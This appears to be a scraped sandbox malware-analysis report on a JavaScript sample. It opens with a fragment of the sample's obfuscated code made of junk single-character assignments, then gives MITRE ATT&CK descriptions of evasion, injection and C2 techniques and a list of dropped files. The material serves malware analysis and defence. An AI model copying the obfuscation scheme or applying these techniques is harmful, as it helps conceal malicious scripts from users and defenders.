1419	yaslelwqh = "I";
1420	yaslelwqh = "G";
1421	yaslelwqh = "g";
1422	yaslelwqh = "C";
1423	yaslelwqh = "k";
1424	yaslelwqh = "Z";
1425	yaslelwqh = "B";
1426	yaslelwqh = "c";
1427	yaslelwqh = "E";
1428	yaslelwqh = "o";
1429	hzapip = "p";
1430	hzapip = "R";
1431	hzapip = "q";
1432	hzapip = "o";
1433	hzapip = "t";
1434	qcvuqttx = "u";
1435	qcvuqttx = "z";
1436	qcvuqttx = "W";
1437	qcvuqttx = "N";
1438	qcvuqttx = "E";
1439	qcvuqttx = "L";
1440	qcvuqttx = "U";
1441	qcvuqttx = "x";
1442	qcvuqttx = "p";
1443	qcvuqttx = "p";
1444	qcvuqttx = "h";
1445	qcvuqttx = "n";
1446	qcvuqttx = "G";
1447	qcvuqttx = "V";
1448	qcvuqttx = "u";
1449	jupmkem = "3";
1450	gksof = "p";
1451	gksof = "n";
1452	gksof = "E";
1453	gksof = "s";
1454	gksof = "B";
1455	gksof = "K";
1456	gksof = "f";
1457	gksof = "N";
1458	gksof = "V";
1459	gksof = "w";
1460	gksof = "c";
1461	gksof = "l";
1462	gksof = "G";
1463	gksof = "A";
1464	gksof = "w";
1465	gksof = "E";
1466	gksof = "s";
1467	gksof = "w";
1468	gksof = "A";
1469	gksof = "D";
1470	gksof = "F";
1471	gksof = "e";
1472	gksof = "D";
1473	gksof = "G";
1474	gksof = "r";
1475	yrfhcprtw = "w";
1476	yrfhcprtw = "i";
1477	yrfhcprtw = "d";
1478	yrfhcprtw = "q";
1479	yrfhcprtw = "m";
1480	yrfhcprtw = "O";
1481	yrfhcprtw = "H";
1482	yrfhcprtw = "D";
1483	yrfhcprtw = "s";
1484	yrfhcprtw = "T";
1485	yrfhcprtw = "a";
1486	yrfhcprtw = "K";
1487	yrfhcprtw = "k";
1488	yrfhcprtw = "X";
1489	yrfhcprtw = "g";
1490	yrfhcprtw = "l";
1491	yrfhcprtw = "D";
1492	yrfhcprtw = "f";
1493	yrfhcprtw = "O";
1494	qemrn ( );	qemrn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 301425897285010519.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e863322d-97e1-4a11-9002-062657c005e3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
301425897285010519.js